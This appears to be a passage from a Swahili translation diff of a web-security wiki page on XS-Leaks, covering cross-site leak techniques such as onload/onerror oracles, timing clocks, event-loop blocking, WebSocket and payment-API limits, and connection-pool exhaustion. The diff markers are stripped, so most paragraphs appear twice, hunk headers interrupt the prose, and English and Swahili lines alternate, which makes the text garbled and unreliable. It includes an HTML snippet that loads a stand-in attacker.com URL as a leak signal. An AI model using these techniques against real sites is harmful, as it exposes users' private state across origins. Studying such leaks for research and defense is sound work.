- **Mipaka ya Ulimwengu**: Mipaka ya kimwili ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya kuacha.
- **Hali ya Ulimwengu**: Maingiliano yanayoweza kugundulika na **hali za ulimwengu** za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na muda wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika.
- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazoweza kusomwa cross-origin** na zinaweza kutumika kama mbinu ya kuonyesha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazosomwa cross-origin** na zinaweza kutumika kama mbinu ya kuacha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
## XSinator Tool & Paper
@ -49,24 +49,24 @@ XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadha
Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu kuonyesha nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea usakinishaji mbaya na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usakinishaji wa CrossOrigin Resource Sharing (CORS), kuvuja kwa postMessage au Cross-Site Scripting. Aidha, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.
> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu kuacha nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea makosa ya usanidi na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usanidi ya CrossOrigin Resource Sharing (CORS), kuvuja kwa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.
## **Mbinu za Muda**
Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.
**Saa**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu wabunifu kupata vipimo vya muda vya hali ya juu.\
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na nyingine.\
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), michoro ya CSS, na zingine.\
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## Mbinu za Waendeshaji wa Matukio
### Onload/Onerror
- **Mbinu za Kujumuisha**: Frames, HTML Elements
- **Mbinu za Kujumuisha**: Frames, Vitu vya HTML
- **Tofauti Zinazoweza Kugundulika**: Nambari ya Hali
- **Maelezo zaidi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Muhtasari**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa na rasilimali inapopakuliwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali.
- **Muhtasari**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa wakati rasilimali imepakiwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali.
- **Mfano wa Kode**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
@ -81,14 +81,14 @@ Pia kuna toleo lisilo na script la shambulio hili:
<object data="//attacker.com/?error"></object>
</object>
```
Katika kesi hii ikiwa `example.com/404` haipatikani `attacker.com/?error` itapakuliwa.
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.
### Onload Timing
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Kiwango cha Hali)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Hata hivyo, saa nyingine zinaweza kutumika, kama [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) ambayo inaweza kubaini kazi zinazofanyika kwa zaidi ya 50ms.
- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Hata hivyo, saa nyingine zinaweza kutumika, kama [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) ambayo inaweza kubaini kazi zinazofanyika kwa zaidi ya 50ms.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) mfano mwingine katika:
{{#ref}}
@ -97,7 +97,7 @@ xs-search/performance.now-example.md
#### Onload Timing + Forced Heavy Task
Teknolojia hii ni kama ile ya awali, lakini **attacker** pia at **force** hatua fulani kuchukua **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo.
Teknolojia hii ni kama ile ya awali, lakini **mshambuliaji** pia atafanya **kulazimisha** hatua fulani kuchukua **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo.
{{#ref}}
xs-search/performance.now-+-force-heavy-task.md
@ -106,9 +106,9 @@ xs-search/performance.now-+-force-heavy-task.md
### unload/beforeunload Timing
- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Kiwango cha Hali)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**.
@ -116,12 +116,12 @@ Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`un
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Kiwango cha Hali)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakuliwa kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababisha tu baada ya kukamilika kwa upakuaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu handler ya `onload` ya iframe inasababisha tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti inayosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -134,25 +134,25 @@ Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/
- **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
- **Code Example**:
Fikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Kufikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**flag**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**onload event**_ itatekelezwa **daima angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
Kwa mfano:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL, **onload** event **haitaanzishwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, **onload** event itaanzishwa **tena**.
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, tukio la **onload** litazinduliwa **tena**.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** unapofikiwa.
### Javascript Execution
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** tags, hivyo katika kesi **hasi** kodhi ya washambuliaji **inasemwa,** na katika kesi **chanya** **hakuna** itatekelezwa.
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **msimbo wa JS halali katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** msimbo wa **washambuliaji** unatekelezwa, na katika kesi **thabiti** **hakuna** kitu kitatekelezwa.
- **Code Example:**
{{#ref}}
@ -164,7 +164,7 @@ xs-search/javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakua rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudi na _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **mwandiko wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inakabiliwa na **CORB**), ikisababisha uvujaji wa taarifa.
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakua rasilimali fulani nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **msimbo wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inprotected na **CORB**), ikisababisha uvujaji wa taarifa.
- **Code Example**:
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
@ -177,8 +177,8 @@ Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
- **Summary**: Vuja data nyeti kutoka kwa sifa ya id au jina.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itasababisha, kipengele cha ID kinapatikana.\
Unaweza kufanya shambulizi sawa na **`portal`** tags.
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinakuwepo.\
Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -188,7 +188,7 @@ Unaweza kufanya shambulizi sawa na **`portal`** tags.
- **Summary**: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
- **Code Example**: `Any code listening for all postMessages.`
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijafafanuliwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani unaweza kutumwa tu kwa watumiaji walioingia. Hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijafafanuliwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
## Global Limits Techniques
@ -197,12 +197,12 @@ Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozill
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Kutoa mipaka ya muunganisho wa WebSocket kunavuja idadi ya muunganisho wa WebSocket wa ukurasa wa cross-origin.
- **Summary**: Kutoa mipaka ya uhusiano wa WebSocket kunavuja idadi ya uhusiano wa WebSocket wa ukurasa wa cross-origin.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Inawezekana kubaini ikiwa, na ni wangapi, **muunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya muunganisho wa WebSocket.
Inawezekana kubaini ikiwa, na ni wangapi, **uunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya muunganisho wa WebSocket**, bila kujali hali zao za muunganisho, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya muunganisho wa WebSockets iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya muunganisho wa WebSocket inayotumiwa na dirisha la tovuti ya lengo**.
Ikiwa asili moja inatumia **idadi kubwa ya vitu vya uunganisho wa WebSocket**, bila kujali hali zao za uunganisho, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa ya uhusiano wa WebSocket iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket inayotumiwa na dirisha la tovuti ya lengo**.
### Payment API
@ -214,37 +214,37 @@ Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya muunganisho wa WebSock
Hii XS-Leak inaruhusu mshambuliaji **gundua wakati ukurasa wa cross-origin unapoanzisha ombi la malipo**.
Kwa sababu **ombile moja tu linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **kosa la JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu kuonyesha UI ya Payment API mara kwa mara**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
Kwa sababu **ombile moja la malipo linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **makosa ya JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya Payment API**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja tu baada ya kuunda.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia mzunguko wa tukio wa JS wa nyuzi moja.
- **Summary:** Pima muda wa utekelezaji wa wavuti ukitumia mzunguko wa tukio wa JS wa nyuzi moja.
- **Code Example**:
{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati mmoja**. Sifa hii inaweza kutumika kutathmini **ni muda gani kodhi kutoka asili tofauti inachukua kutekeleza**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio kwa kuendelea na mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka asili tofauti, ikifichua taarifa nyeti.
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kupima **ni muda gani msimbo kutoka asili tofauti unachukua kutekelezwa**. Mshambuliaji anaweza kupima muda wa utekelezaji wa msimbo wao wenyewe katika mzunguko wa tukio kwa kuendelea kutuma matukio yenye mali zilizowekwa. Matukio haya yatashughulikiwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa msimbo kutoka asili tofauti, ikifichua taarifa nyeti.
> [!WARNING]
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **sababu za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumika na ukurasa kabla ya kuupakia.
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti ni kuzuia kwa makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) ndani ya mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti ni kuzuia kwa makusudi mzunguko wa tukio wa nyuzi na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa msimbo unaofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Code Example**:
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Site Isolation**. **Site Isolation** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti za uhalifu kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Site Isolation**.
> [!WARNING]
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **sababu za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumika na ukurasa kabla ya kuupakia.
### Connection Pool
@ -260,8 +260,8 @@ xs-search/connection-pool-example.md
Vivinjari vinatumia soketi kwa mawasiliano ya seva, lakini kutokana na rasilimali zilizopunguka za mfumo wa uendeshaji na vifaa, **vivinjari vinapaswa kuweka kikomo** kwenye idadi ya soketi zinazofanya kazi kwa wakati mmoja. Washambuliaji wanaweza kutumia kikomo hiki kupitia hatua zifuatazo:
1. Tambua kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za kimataifa.
